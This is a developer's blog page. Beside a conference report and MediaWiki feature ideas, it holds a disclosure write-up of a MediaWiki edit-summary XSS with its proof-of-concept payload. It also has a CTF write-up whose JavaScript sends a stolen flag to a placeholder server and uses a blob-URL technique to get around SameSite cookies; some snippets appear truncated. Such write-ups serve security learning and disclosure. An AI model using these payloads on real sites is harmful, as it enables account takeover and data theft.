Tuesday, April 23, 2024

MediaWiki Users and Developers Conference Spring 2024

 Last week I went to Portland for the MediaWiki Users and Developers conference (nee EMWCon). This is primarily a conference for people doing stuff with MediaWiki outside of Wikimedia. I had a blast.

I always enjoy conferences on the smaller side. They feel so much more personal. This year's conference had Ward Cunningham as the guest of honour. Ward was a fascinating person to meet and get to talk to.

I also must say hats off to the organizers - conference ran smoothly, venue was great, food was amazing. Seriously some of the best food I've ever had at any Wikimedia conference.

This was also my first time in Portland. Portland is a beautiful city. I didn't have a huge amount of time to explore the city, but I did manage to go to the Chinese garden, which was absolutely stunning. I also loved how many interesting murals there were in the city. Even the graffiti seemed prettier than normal.

While listening to the talks, I realized that a good talk is very similar to a good design doc. Perhaps this is an obvious comparison, but I never really noticed before how similar the two things are. In both cases, you want to give the reader/viewer context about the problem you want to solve, what solution you chose, why you chose it and how it worked out. At the same time you want to avoid the temptation to go too far into implementation details.

I think my favourite talk was Jeffery's. He demo'd using LLMs to answer questions based on the content of the Wiki. The demo deities weren't fully in his favour, but I think it also demonstrated an important point that LLMs are cutting edge technologies that don't always give the expected answer 100% of the time. In any case, he did a great job presenting.

I did get the sense that I think some participants were disappointed that there was very little representation of WMF management (whether "real" management or product management) at the conference. Birgit did give a remote talk and Selena did come to a happy hour event after the conference, but neither really participated.

I don't think the participants necessarily wanted anything from WMF management, but there is a little bit of a feeling of being unseen. Many of the conference goers use MediaWiki for their own purposes and are interested to know what WMFs plans are for the future and how it will affect them (as do we all).



I think some participants were hoping to maybe make some connections for better mutual understanding and just reduce uncertainty about what is on the roadmap for MediaWiki. In theory Birgit's talk was about the plans for MediaWiki, but I suspect it was too laden with annual planning corporate buzzwords for anyone to figure out what it actually meant concretely.

The flip side of that of course is that open source is a do-orcracy. The corporate MediaWiki users as a general rule do not contribute back to MediaWiki core all that often, which is the price of admission to the various power structures of MediaWiki.

Create Camp

At the create camp, I had a long chat with Mark about what parts of the documentation are unclear to users new to MediaWiki. While I think all of will admit that our documentation is sub-par (bug 1), it was great to get a fresh perspective on it.
I think adding screencasts in addition to the written documentation can help with the problem of assumed knowledge and missing implied steps.

I also heard a bit about SemanticMediaWiki (SMW) bug 5392. This is a bug where sometimes SMW drops properties associated with a page. It seems like there is a lot of frustration among the SMW community over this bug. At the same time, it doesn't seem like anyone has seriously tried to debug it. The bug does look a bit annoying to track down. It appears to be some sort of race condition, appearing somewhat randomly and more often when there are multiple things going on at the same time (e.g. the job queue is being run with more threads seems to make it more common) but nobody really knows so hence there are no steps to reproduce. Additionally there has been no attempts to create a minimal test case (e.g. What extensions are needed for the bug to appear) nor has anyone posted any debug logs from the parses in question. No one has even determined if the properties are missing at parse time or if they are being overridden at a later time. Anyways, I suspect its going no where unless people post a lot more information on the task or they hand over a server experiencing the bug to someone good at debugging.


I had a great time. Hopefully I'll be able to come again next year.

Saturday, March 30, 2024

MediaWiki edit summary XSS write-up

 Back in January, I discovered a stored XSS vulnerability in core MediaWiki (T355538; CVE-2024-34507). Essentially by setting a specific edit summary when editing a page, you could run javascript (And take over the account of anyone viewing the edit summary, for example on the history page or recentchanges)

MediaWiki core is generally pretty good when it comes to security. There are many sketchy extensions, and sometimes there are issues where an admin might be able to run javascript, but by and large unauthenticated XSS vulns are fairly rare. I think the last one was CVE-2021-44858 from back in 2021. The next one before that was CVE-2017-8815 in 2017, which only applied to wikis configured to have a site language of certain languages (e.g. Serbian and Chinese). At least, those were the ones I found when looking through the list. Hopefully I didn't miss any. In any case, finding XSS triggerable by an unprivleged attacker in MediaWiki core is pretty hard.

So what is the bug? The proof of concept looks like this - Create an edit with the following edit summary:

[[Special:RecentChanges#%1b0000000|link1]] [[PageThatExists#/autofocus/onfocus=alert("xss\n"+document.domain)//|link2]]

This feels a bit random at first glance. How does it work?

The edit summary parser

Whenever you edit a page on MediaWiki, there is a box for your edit summary. This is essentially MediaWiki's version of a commit message.

Very little formatting is allowed in this summary. A major exception is links. You can link to other pages by enclosing the link in [[ and ]].

So this explains a little bit about the proof-of-concept - it involves 2 links. But why 2? It doesn't work with just 1. What is with the weird link targets? They are clearly abnormal, but they also don't look like typical XSS. There are no < or >, there aren't even any unclosed quotes.

Lets take a deeper look at how MediaWiki applies formatting to these edit summaries. The code where all this happens is includes/CommentFormatter/CommentParser.php.

The first thing we might notice is the following line in CommentParser::preprocessInternal: "// \x1b needs to be stripped because it is used for link markers"

In the proof of concept, the first part is [[Special:RecentChanges#%1b0000000|link1]], where %1b appears. This is a good hint that it has something to do with link markers, whatever those are.

Link markers

But what are link markers?

When MediaWiki makes a link, it needs to know whether the page being linked to exists or not, since missing pages use a red colour. The most natural way of doing this is, when encountering a link, to check in the DB whether or not the page exists.

However, there is a problem. When rendering a long page with a lot of links, we have to do a lot of DB lookups. The lookups are simple, but still on a separate (albeit nearby server). Each page to lookup involves a local network request to fetch the page status. While that is happening, MW just sits and waits. This is all very fast, but even still it adds up a little bit if you have say 500 links on a page.

The solution to this problem was to batch the queries. Instead of immediately looking up the page, MW would put a small link marker in the page at that point and carry on. Once it is finished, it would look up all the links all at once, and then do another pass to replace all the link markers.

So this is what a link marker is, just a little marker to tell MW to come back to this spot later after it figured out if all the links exist. The format of this marker is \x1B<number> (So \x1B0000000 for the first one, \x1B0000001 for the second, and so on). \x1B is the ASCII escape character.

Back to the PoC

This explains the first part of the proof of concept: [[Special:RecentChanges#%1b0000000|link1]] - the link target is a link marker. The code has a line:

                                // Fix up urlencoded title texts (copied from Parser::replaceInternalLinks)
                                if ( strpos( $match[1], '%' ) !== false ) {
                                        $match[1] = strtr(
                                                rawurldecode( $match[1] ),
                                                [ '<' => '&lt;', '>' => '&gt;' ]

Which normalizes titles using percent encoding to use the real characters. Thus the %1B gets replaced with an actual 0x1B byte sequence. The code did try and strip 0x1B characters earlier, but at that point, it was still just %1b and did not match the check.

We now have a link with a link marker inside of it. An important note here is that Special:RecentChanges is not a normal page. It is a special page. MediaWiki knows it exists without having to consult the database, so it does not get the link marker treatment. This is important because we cannot use it as a fake link marker if it gets replaced by a real link marker.

At this stage after inserting link markers, the proof of concept becomes the following string:

<a href="/w/index.php/Special:RecentChanges#\x1B000000" title="Special:RecentChanges">link1</a> \x1B0000000

A link with a link marker inside it!

The second link

The \x1B0000000 is a stand in for [[PageThatExists#/autofocus/onfocus=alert("xss\n"+document.domain)//|link2]].

The replacement at the end is a normal replacement, and everything is fine. However there are now two replacements - there is also the replacement inside the link: href="/w/index.php/Special:RecentChanges#\x1B000000"

This is the fake link marker that we contrived to get inserted. Unlike the normal link markers, this is inside an attribute. The replacement text assumes it is being inserted as normal HTML, not as an attribute. Since it is a full link that also has quotes inside it, the two layers of quotes will interfere with each other.

Once the replacements happen we get the following mangled HTML for our proof of concept:

<a href="/w/index.php/Special:RecentChanges#<a href="/w/index.php/Test#/autofocus/onfocus=alert(&quot;xss\n&quot;+document.domain)//" title="Test">link2</a>" title="Special:RecentChanges">link1</a> <a href="/w/index.php/Test#/autofocus/onfocus=alert(&quot;xss\n&quot;+document.domain)//" title="Test">link2</a>

This obviously looks wrong, but its a bit unclear how browsers interpret it. A little known fact about HTML - /'s can separate attributes so long as no equal signs have been encountered yet. After the browser hits the second " mark, it thinks the href attribute is closed and that the remaing is some additional attributes. The browser essentially parses the above html as if it was:

<a href="/w/index.php/Special:RecentChanges#<a href=" w="" index.php="" Test#="" autofocus onfocus="alert(&quot;xss\n&quot;+document.domain)//&quot;" title="Test">link2</a>" title="Special:RecentChanges"&gt;link1</a> <a href="/w/index.php/Test#/autofocus/onfocus=alert(&quot;xss\n&quot;+document.domain)//" title="Test">link2</a>

In other words, an <a> tag, that has an attribute named autofocus and an onfocus event handler. On page load, the link is automatically focused, which triggers the javascript in the onfocus attribute to run, allowing the attacker to do what they want.

Take aways

I think the major take aways is that running Regexes over partially parsed HTML is always scary. We've had similar issues in the past, for example T110143.

The general pattern we've used to fix this and similar issues, is make sure the replacement token has special characters that would be mangled if it appeared in an unexpected context. Concretely, we added " and ' to the token, which would get escaped if placed in an attribute, and thus no longer matching and no longer being replaced.

More generally though, I think this is a good example of why even a minimal CSP policy would be helpful.

CSP is a complex standard, that can do a lot of things and has a lot of pieces. One of the things it can do, is disable "unsafe-inline" javascript. This means javascript from attributes (like onfocus) and javascript URLs. Usually this also includes inline <script> tags without a nonce, but that part is optional. A key point here, is this also generally means you cannot execute javascript via .innerHTML anymore, which is a fairly common vector for XSS via javascript.

Normally disabling unsafe-inline would be part of a broader effort to secure javascript, however its possible to take things a step at a time. This vulnerability would have been stopped just by disabling event attributes. A surprising portion of MediaWiki & extension XSS vulns [Excluding boring - an admin can change something in an unsafe way issues] involve just html attributes (or javascript: urls), which is a web feature that nobody really needs for legit reasons and is generally considered bad practise in normal usage. Even the most minimal CSP policy might really help MediaWiki's overall security posture against XSS vulns.

For more info about the vulnerability, please see the original report at https://phabricator.wikimedia.org/T355538.

Wednesday, February 21, 2024

LA CTF write up: ctf-wiki

Last weekend I participated in LA CTF 2024. This is how I solved one of the challenges: "ctf-wiki". It was solved by 38 teams and worth 483 points.

The challenge

The challenge was an XSS problem. You can view it at the LACTF github. We are given a website that you can log into. Once you log in, you can create and edit pages, including adding arbitrary HTML (The description parameter is output unescaped). There is also a /flag page which outputs a flag if you are logged in as the admin. Finally, there is an admin bot that you can give a URL to, which it will visit, while being logged in as the admin. There is a CSP policy, but it specifies img-src * which allows us to exfiltrate data in the file names of images we chose to load.

This is all a pretty standard setup for a CTF XSS challenge.

Normally you would solve a problem like this by injecting a script like this into one of the pages of the site:

).then( t=>t.text() ).then( a => {
  b=new Image();
  b.src='https://MYWEBSERVERHERE/?flag='+encodeURI( a.substr( 0,50 ) );
} );

And convince the admin bot to visit the page this script has been injected into. Admin bot visits the page, executes script, loads the /flag endpoint, loads an image from my webserver with the flag in the URL (CSP was blocking cross-site fetch() but not cross-site image loads, so we exfiltrate using an image). I then check my apache access_log file, find the flag, easy-peasy.

However there is a catch.

The Twist

As I said before, there is a twist. You can only view pages on the site if logged out. Logged in users can edit pages but not view them
The admin bot is logged into the site as the admin (so it can read /flag). If we send the admin bot to the page with the injected script, it just sees the edit page. It does not execute the script.

We can work around this a few ways. Since SameSite=Lax cookies are being used, we could load the site in an <iframe> from a different domain. SameSite=Lax is a security measure that means cookies are only loaded on top-level GET navigations, but not when a website is loaded as a subresource from a different "site". Another way to force being logged out is to simply add a period to the end of the domain - e.g. http://ctf-wiki.chall.lac.tf./ . An obscure feature of DNS is that it can be configured to automatically add "search domains" at the end of a domain name. Adding a period to the end of the domain name turns off this rarely used feature. The end result is that ctf-wiki.chall.lac.tf. and ctf-wiki.chall.lac.tf are separate domain names that point to the same place. Web browsers consider them to be totally separate websites which have separate cookies.

Thus I can point the admin bot to http://ctf-wiki.chall.lac.tf. (Plain http not https since the certificate won't match), and it will execute the script I insert into the site. Unfortunately there is another problem. The admin bot won't be logged in when fetching http://ctf-wiki.chall.lac.tf./flag, and thus it cannot read the contents of http://ctf-wiki.chall.lac.tf/flag since that would be a cross-domain request, which is prevented by the same origin policy.

This is quite a catch-22. We can either be logged in, able to read the flag but not able to tell the browser to get it, or we can be logged out, be able to tell the browser to fetch but not be able to access the results. We need to be both logged in and logged out at the same time

Popup windows

The natural solution to this problem would be a pop-up window. You could open the page with an injected script in an <iframe>. SameSite=Lax cookies are not sent to cross-site iframes, so we would be logged out in the <iframe> and execute the script. The script could use window.open() to open a pop-up window. Pop-up windows are a top-level GET navigation, so SameSite=Lax cookies will be sent, and we will be logged-in inside the pop-up. Since both the iframe and the pop-up are the same domain, they are allowed to communicate with each other; window.open() returns a window object for the pop-up, which the iframe can use to run scripts in the context of the pop-up window.

There is only one problem - pop-up blockers. Modern browsers only allow pop-up windows if they are the result of a user action. Users have to click something. Scripts cannot create pop-up windows of their own volition.

It turns out that this is not entirely true for the contest.The admin bot had its pop-up blocker disabled, so I could have used pop up windows. However, at the time I simply tested with my local copy of chrome, saw it didn't work, and assumed the adminbot would be the same. An important lesson here: you should always test your assumptions. Nonetheless, lets pretend that wasn't the case, can we solve this problem without using pop-ups?

The challenge on hard mode: no pop-ups

Without pop-ups, we essentially only have <iframe>s and navigating the entire page. There are two browser features that present a challenge here:

  • SameSite=Lax cookies: This is designed so that no cookies are ever sent from requests originating cross-site except for top level GET navigations.
  • Cache partitioning - Browsers are becoming more and more concerned with user tracking. To combat this they have implemented cache partitioning. Essentially, caches are partitioned so that an <iframe> of some domain has a totally separate cache from a top level navigation to that domain. This includes APIs like ServiceWorkers that you might be able to use to control other pages on the same domain. It also includes cookies. The exact details of this varies between browsers.
This was looking pretty hopeless, after all the entire point of cache partitioning was to prevent communication between third-party iframes and their main site. I didn't just want to communicate from a third-party iframe to its originating site, I wanted to control the originating site from the third-party website, which seems much harder then mere communication. If there was a way to communicate, it would break the entire point of the cache partitioning feature.
After much googling, I eventually came across the google chrome privacy sandbox docs. It had the following enticing line:

A blob is an object that contains raw data to be processed, and a blob URL can be generated to access the resource. Blob URL stores are not partitioned. To support a use case for navigating in a top-level context to any blob URL (discussion), the blob URL store might be partitioned by the agent cluster instead of the top-level site. This feature is not be available for testing yet, and the partitioning mechanism may change in the future.


An exception to cache partioning! That sounds exactly like what I needed.

What is a blob url anyways?

A blob url is kind of like a fancy data: url. They are generally of the form blob:origin/UUID. For example: blob:http://example.com/1c18cbfc-cb5a-4709-9fd4-f50bb96ab7b7. They reference some bytes associated with a specific page, and generally only last so long as the page they are associated with exists. You can use them like data: urls, for example in the src attribute of an <img> tag. Unlike data urls, blob urls don't embed the data within themselves but just reference it with a UUID, which can be helpful for large files. Normally you create them with the URL.createObjectURL() javascript API, which takes a Blob object and outputs a blob url.

The exciting part is:
  • Unlike data: urls, Blob urls have the same origin as the page that creates them.
  • Blob urls are exempt (for the moment at least) from cache partioning and work across third-party contexts.
  • You can use blob urls to do top-level navigation. (data: urls have been banned from script based top level navigation)

Putting this altogether, we can create a blob url from inside an iframe containing HTML of our choosing, navigate the entire page to the blob url with our HTML, which then executes as if it was top level. This means that it can send SameSite cookies as well as being considered in the same cache partition as the main site (unlike the <iframe>). Hence we are logged in, inside this blob: url.

Putting it all together

To pull this off, we'll have two pages on the ctf-wiki, the actual script and an iframe wrapper.

The iframe wrapper simply looks like this. We would visit it from the extra dot url to be logged out:

 <iframe src="https://ctf-wiki.chall.lac.tf/view/4568f3f843562569a487b3ee9fb22dcf"></iframe>

The page it wraps is the interesting one:

 parent.location = URL.createObjectURL(
    new Blob( [
      "<script>" +
      "fetch('https://ctf-wiki.chall.lac.tf/flag',{method:'post'})" +
        ".then(t=>t.text())" +
        ".then(flag => { " +
            "var img = new Image();" +
            "img.src = 'https://MYWEBSITEHERE/?flag='+encodeURI(flag.substr(0,50))" + 
         "});" +
    {type: "text/html"}

This script creates a blob url. The blob url contains an HTML page with a script that fetches the flag and exfiltrates it to my server. It then navigates the parent window (i.e. Not the <iframe> we are inside, but the page containing it) to this blob url. The blob url will then execute in a top level context with the same origin as the <iframe>. It will fetch the flag, and then send that value to my server as an image load request.

So I tried it. It didn't work :(

Looking at the browser console, I had an error saying iframes are not allowed to navigate the top window without the user clicking on something. At first, i thought the approach was dead, but then I remembered that the sandbox attribute for <iframe>s had something related to this.

Normally the sandbox attribute just takes away rights relative to being unspecified; it doesn't add any rights. However, the docs mentioned both a allow-top-navigation and a allow-top-navigation-by-user-activation sandbox keyword. The later being the behaviour I seemed to be getting with no sandbox attribute and the former being the behaviour I wanted. It didn't seem like there would be much point in including allow-top-navigation, if it was never allowed, so I thought I would try it and see what happened. I changed my iframe to be
<iframe src="https://ctf-wiki.chall.lac.tf/view/4568f3f843562569a487b3ee9fb22dcf" sandbox="allow-top-navigation allow-scripts allow-same-origin"></iframe>

Then I visited the page with that iframe: http://ctf-wiki.chall.lac.tf./view/ea313ff4550b824368d39e00936ef58d (Note the dot after the tf TLD, to ensure no cookies are sent so we are logged out. We need this page to be on the weird domain in order to prevent cookies to show our XSS. We need the iframe to frame the real domain. It also won't send cookies since it is a cross-domain iframe, but it needs to be the real domain since the blob inherits its origin and we want the blob to be the real domain).

And it worked!

The page with the iframe loaded the second page inside the iframe. That page was cookie-less, but created the blob url with the second stage script. It navigated the top window to the blob script, which was now running at the top level, so all the fetch() requests it makes have the appropriate cookies. It fetched the flag, and then sends the flag to my website as part of the name of a fake "image" file. I can then see the flag in my apache access log. - - [18/Feb/2024:04:43:45 +0000] "GET /?flag=lactf%7Bk4NT_k33P_4lL_my_F4v0r1T3_ctF3RS_S4m3_S1t3%7D HTTP/1.1" 200 3754 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/ Safari/537.36"
Thus the flag is: lactf{k4NT_k33P_4lL_my_F4v0r1T3_ctF3RS_S4m3_S1t3}


It is indeed possible to pivot from an XSS in an iframe, to an XSS that can read data that is partitioned to the main site, without using a pop-up. Of course the situation of having an XSS when not logged in but no XSS when actually logged in is pretty contrived. I do wonder if there are situations in the real world where using blobs to bypass SameSite cookies is applicable. I find it hard to imagine - an XSS attack is usually powerful enough to make things game over. It would be unusual that you couldn't leverage that directly.
The most realistic scenario i could think of where this blob behaviour might be useful, would be to bypass break out of credentialless iframes. Credentialless iframes are used for cross-origin isolated contexts (When you want your website to not be in the same process site of any other website, in order to prevent speculative exectution type attacks) and are not allowed to have references to window objects of pop-ups. Thus the usual attacks with pop-ups cannot be done. However the blob: url method can still work to turn an XSS in a credentialess context to one that can make credentialed requests.

Anyways. It is quite weird that blobs are exempt from cache partitioning. I wonder how long that will last.

Wednesday, January 10, 2024

Imagining Future MediaWiki

 As we roll into 2024, I thought I'd do something a little different on this blog.

A common product vision exercise is to ask someone, imagine it is 20 years from now, what would the product look like? What missing features would it have? What small (or large) annoyances would it no longer have?

I wanted to do that exercise with MediaWiki. Sometimes it feels like MediaWiki is a little static. Most of the core ideas were implemented a long time ago. Sure there is a constant stream of improvements, some quite important, but the core product has been fixed for quite some time now. People largely interact with MediaWiki the same way they always have. When I think of new fundamental features to MediaWiki, I think of things like Echo, Lua and VisualEditor, which can hardly be considered new at this point (In fairness, maybe DiscussionTools should count as a new fundamental feature, which is quite recent). Alternatively, I might think of things that are on the edges. Wikidata is a pretty big shift, but its a separate thing from the main experience and also over a decade old at this point.

I thought it would be fun to brainstorm some crazy ideas for new features of MediaWiki, primarily in the context of large sites like Wikipedia. I'd love to hear feedback on if these ideas are just so crazy they might work, or just crazy. Hopefully it inspires others to come up with their own crazy ideas.

What is MediaWiki to me?

Before I start, I suppose I should talk about what I think the goals of the MediaWiki platform is. What is the value that should be provided by MediaWiki as a product, particularly in the context of Wikimedia-type projects?

Often I hear Wikipedia described as a top 10 document hosting website combined with a medium scale social network. While I think there is some truth to that, I would divide it differently.

I see MediaWiki as aiming to serve 4 separate goals:

  • A document authoring platform
  • A document viewing platform (i.e. Some people just want to read the articles).
  • A community management tool
  • A tool to collect and disseminate knowledge

The first two are pretty obvious. MediaWiki has to support writing Wikipedia articles. MediaWiki has to support people reading Wikipedia articles. While I often think the difference between readers and editors is overstated (or perhaps counter-productive as hiding editing features from readers reduces our recruitment pool), it is true they are different audiences with different needs.

What I think is a bit under-appreciated sometimes but just as important, is that MediaWiki is not just about creating individual articles, it is about creating a place where a community of people dedicated to writing articles can thrive. This doesn't just happen at the scale of tens of thousands of people, all sorts of processes and bureaucracy is needed for such a large group to effectively work together. While not all of that is in MediaWiki, the bulk of it is.

One of my favourite things about the wiki-world, is it is a socio-technical system. The software does not prescribe specific ways of working, but gives users the tools to create community processes themselves. I think this is one of our biggest strengths, which we must not lose sight of. However we also shouldn't totally ignore this sector and assume the community is fine on its own - we should still be on the look out for better tools to allow the community to make better processes.

Last of all, MediaWiki aims to be a tool to aid in the collection and dissemination of knowledge¹. Wikimedia's mission statement is: "Imagine a world in which every single human being can freely share in the sum of all knowledge." No one site can do that alone, not even Wikipedia. We should aim to make it easy to transfer content between sites. If a 10 billion page treatise on Pokemon is inappropriate for Wikipedia, it should be easy for an interested party to set up there own site that can house knowledge that does not fit in existing sites. We should aim to empower people to do their own thing if Wikimedia is not the right venue. We do not have a monopoly on knowledge nor should we.

As anyone who has ever tried to copy a template from Wikipedia can tell you, making forks or splits from Wikipedia is easy in theory but hard in practice. In many ways I feel this is the area where we have most failed to meet the potential of MediaWiki.

With that in mind, here are my ideas for new fundamental features in MediaWiki:

As a document authoring/viewing platform


Detractors of Wikipedia have often criticized how text based it is. While there are certainly plenty of pictures to illustrate, Wikipedia has typically been pretty limited when it comes to more complex multimedia. This is especially true of interactive multimedia. While I don't have first hand experience, in the early days it was often negatively compared to Microsoft Encarta on that front.

We do have certain types of interactive content, such as videos, slippy maps and 3D models, but we don't really have any options for truly interactive content. For example, physics concepts might be better illustrated with "interactive" experiments, e.g. where you can push a pendulum with a mouse and watch what happens.

One of my favourite illustrations on the web is this one of an Enigma machine. The Enigma machine for those not familiar was a mechanical device used in world war 2 to encrypt secret messages. The interactive illustration shows how an inputted message goes through various wires and rotates various disks to give the scrambled output. I think this illustrates what an Enigma machine fundamentally is better than any static picture or even video would ever be able to.

Right now there are no satisfactory solutions on Wikipedia to make this kind of content. There was a previous effort to do something in the vein of interactive content in the graph extension, which allowed using the Vega domain specific language to make interactive graphs. I've previously wrote on how I think that was a good effort but ultimately missed the mark. In short, I believe it was too high level which caused it to lack the flexibility neccessarily to meet the needs of users, while also being difficult to build simplifying abstractions overtop.

I am a big believer that instead of making complicated projects that prescribe certain ways of doing things, it is better to make simpler, lower level tools that can be combined together in complex ways, as well as abstracted over so that users can make simple interfaces (Essentially the unix philosophy). On Wiki, I think this has been borne out by the success of using Lua scripting in templates. Lua is low level (relative to other wiki interfaces), but the users were able to use that to accomplish their goals without MediaWiki developers having to think about every possible thing they might want to do. Users were than able to make abstractions that hid the low level details in every day use.

To that end, what I'd like to see, is to extend Lua to the client side. Allow special lua interfaces that allow calling other lua functions on the client side (run by JS), in order to make parts of the wiki page scriptable while being viewed instead of just while being generated.

I did make some early proof-of-concepts in this direction, see https://bawolff.net/monstranto/index.php/Main_Page for a Demo of Extension:Monstranto. See also a longer piece I wrote, as well as an essay by Yurik on the subject I found inspiring.

Mobile editing

This is one where I don't really know what the answer is, but if I imagine MW in 20 years, I certainly hope this is better.

Its not just MediaWiki, I don't think any website really has authoring long text documents on mobile figured out.

That said, I have seen some interesting ideas around, that I think are worth exploring (None of these are my own ideas)

Paragraph or sentence level editing

This idea was originally proposed about 13 years ago by Jan Paul Posma. In fact, he write a whole bachelor's thesis on it.

In essence, Mobile gets more frustrating the longer the text you are editing is. MediaWiki often works on editing at the granularity of a section, but what about editing at the granularity of a paragraph or a sentence instead? Especially if you just want to fix a typo on mobile, I feel it would be much easier if you could just hit the edit button on a sentence instead of the entire section.

Even better, I suspect that parsoid makes this a lot easier to implement now than it would have been back in the day.

Better text editing UI (e.g. Eloquent)

A while ago I was linked to a very interesting article by Scott Jenson about the problems with text editing on mobile. I think he articulated the reasons it is frustrating very well, and also proposed a better UI which he called Eloquent. I highly recommend reading the article and seeing if it makes sense to you.

In many ways, we can't really do this, as this is an android level UI not something we control in the web app. Even if we did manage to make it in a web app somehow, it would probably be a hard sell to ordinary users not used to the new UI. Nonetheless, I think it would be incredibly beneficial to experiment with alternate UIs like these, and see how far we can get. The world is increasingly going mobile, and Wikipedia is increasingly getting left behind.

Alternative editing interfaces (e.g. voice)

Maybe traditional text editing is not the way of the future. Can we do something with voice control?

It seems like voice controlled IDEs are increasingly becoming a thing. For example, here is a blog post about someone who programs with a voice programming software called Talon. It seems like there are a couple other options out there. I see Serenade mentioned quite a bit.

A project in this space that looks especially interesting is cursorless. The demo looked really cool, and i could imagine that a power user would find it easier to use a system like this to edit large blobs of WikiText than the normal text editing interface on mobile. Anyways, i reccomend watching the demo video to see what you think.

All this is to say, I think we should look really hard at the possibilities in this space for editing MediaWiki from a phone. On screen keyboards are always going to suck, might as well look to other options.

As a community building platform


I think it would be really cool if we had "lua" extensions. Instead of normal php extensions, a user would be able to register/upload some lua code, that gets subscribed to hooks, and do stuff. In this vision, these extension types would not be able to do anything unsafe like raw html, but would be able to do all sorts of stuff that users normally use javascript for.

This could be per user or also global. Perhaps could be integrated with a permission system to control what they can and cannot do.

I'd also like to see a super stable API abstraction layer for these (and normal extensions). Right now our extension API is fairly unstable. I would love to see a simple abstraction layer with hard stability guarantees. It wouldn't replace the normal API entirely, but would allow simpler extensions to be written in such a way that they retain stability in the long term.


I think we could do more to support user-created workflows. The Wiki is full of user created workflows and processes. Some are quite complex others simple. For example nominating an article for deletion or !voting in an RFC.

Sometimes the more complicated ones get turned into javascript wizards, but i think that's the wrong approach. As I side earlier, I am a fan of simpler tools that can be used by ordinary users, not complex tools that do a specific task but can only be edited by developers and exist "outside" the wiki.

There's already an extension in this area (not used by Wikimedia) called PageForms. This is in the vein of what I am imagining, but I think still too heavy. Another option in this space is the PageProperties extension which also doesn't really do what I am thinking of.

What I would really want to see is an extension of the existing InputBox/preload feature.

As it stands right now, when starting a new page or section, you can give a url parameter to preload some text as well as parameters to that text to replace $1 markers.

We also have the InputBox extension to provide a text box where you can put in the name of an article to create with specific text pre-loaded.

I'd like to extend this idea, to allow users to add arbitrary widgets² (form elements) to a page, and bind those widgets to specific parameters to be preloaded.

If further processing or complex logic is needed, perhaps an option to allow the new preloaded text to be pre-processed by a lua module. This would allow complex logic in how the page is edited based on the user's inputs. If there is one theme in this blog post, it is I wish lua could be used for more things on wiki.

I still imagine the user would be presented with a diff view and have to press save, in order to prevent shenanigans where users are tricked into doing something they don't intend to.

I believe this is a very light-weight solution that also gives the community a lot of flexibility to create custom workflows in the wiki that are simple for editors to participate in.

Querying, reporting and custom metadata

This is the big controversial one.

I believe that there should be a way for users to attach custom metadata to pages and do complex queries over that metadata (including aggregation). This is important both for organizing articles as well as organizing behind the scenes workflows.

In the broader MediaWiki ecosystem, this is usually provided by either the SemanticMediaWiki or Cargo extensions. Often in third party wikis this is considered MediaWiki's killer feature. People use them to create complex workflows including things like task trackers. In essence it turns MediaWiki into a no-code/low-code user programmable workflow designer.

Unfortunately, these extensions all scale poorly, preventing their use on Wikimedia. Essentially I dream of seeing the features provided by these extensions on Wikipedia.

The existing approaches are as follows:

  • Vanilla MediaWiki: Category pages, and some query pages.
    • This is extremely limited. Category pages allow an alphabetical list. Query pages allow some limited pre-defined maintenance lists like list of double redirects or longest articles. Despite these limitations, Wikipedia makes great use out of categories.
  • Vanilla mediawiki + bots:
    • This is essentially Wikipedia's approach to solving this problems. Have programs do queries offsite and put the results on a page. I find this to be a really unsatisfying solution. A Wikipedian once told me that every bot is just a hacky workaround to MediaWiki failing to meet its users' needs, and I tend to agree. Less ideologically, the main issue here is its very brittle - when bots break often nobody knows who has access to the code or how it can be fixed. Additionally, they often have significant latency for updates (If they run once a week, then the latency is 7 days) and ordinary users are not really empowered to create their own queries.
  • Wikidata (including the WDQS SPARQL endpoint)
    • Wikidata is adjacent to this problem, but not quite trying to solve it. It is more meant as a central clearinghouse for facts, not a way to do querying inside Wikipedia. That said Wikidata does have very powerful query features in the form of SPARQL. Sometimes these are copied into Wikipedia via bots. SPARQL of course has difficult to quantify performance characteristics that make it unsuitable for direct embedding into Wikipedia articles in the MediaWiki architecture. Perhaps it could be iframed, but that is far from being a full solution.
  • SemanticMediaWiki
    •  This allows adding Semantic annotations to articles (i.e. Subject-verb-object type relations). It then allows querying using a custom semantic query language. The complexity of the query language make performance hard to reason about and it often scales poorly.
  • Cargo
    • This is very similar to SemanticMediaWiki, except it uses a relational paradigm instead of a semantic paradigm. Essentially users can define DB tables. Typically the workflow is template based, where a template is attached to a table, and specific parameters to the template are populated into the database. Users can then use (Sanitized) SQL queries to query these tables. The system uses an indexing strategy of adding one index for every attribute in the relation.
  • DPL
    • DPL is an extension to do complex querying and display using MediaWiki's built in metadata like categories. There are many different versions of this extension, but all of them have potential queries that scale linearly with the number of pages in the database, and sometimes even worse.

I believe none of these approaches really work for Wikipedia. They either do not support complex queries or allow too complex queries with unpredictable performance. I think the requirements are as follows:

  • Good read scalability (By read, I mean scalability when generating pages (during "parse" in mediawiki speak). On Wikipedia, pages are read and regenerated a lot more often than they are edited.
    • We want any sort of queries to have very low read latency. Having long pauses waiting for I/O during page parsing is bad in the MediaWiki architecture
    • Queries should scale consistetly. They should at worse be roughly O(log n) in the number of pages on the wiki. If using a relational style database, we would want the number of rows the DBMS have to look at be no more than a fixed max number
  • Eventual write consistency
    • It is ok if it takes a few minutes for things using the custom metadata to update after it is written. Templates already have a delay for updating.
    • That said, it should still be relatively quick. On the order of minutes ideally. If it takes a day or scales badly in terms of the size of the database, that would also be unacceptable.
    • write performance does not have to scale quite as well as read performance, but should still scale reasonably well. 
  • Predictable performance.
    • Users should not be able to do anything that negatively impacts site performance
    • Users should not have to be an expert (or have any knowledge) in DB performance or SQL optimization.
    • Limits should be predictable. Timeouts suck, they can vary depending on how much load the site is under and other factors. Queries should either work or not work. Their validity should not be run-time dependent. It should be obvious to the user if their query is an acceptable query before they try and run it. There should be clear rules about what the limits of the system are.
  • Results should be usable for futher processing
    • e.g. You should be able to use the result inside a lua module and format it in arbitrary ways
  • [Ideally] Able to be isolated from the main database, shardable, etc.
  • Be able to query for a specific page, a range of pages, or aggregates of pages (e.g. Count how many pages are in a range, average of some property, etc)
    • Essentially we want just enough complexity to do interesting user defined queries, but not enough that the user is able to take any action that affects performance.
    • There are some other query types that are more obscure but maybe harder. For example geographic related queries. I don't think we need to support that.
    • Intersection queries are an interesting case, as they are often useful on wiki. Ideally we would support that too.


Given these constraints I think the CouchDB model might be the best match for on-wiki querying and reporting.

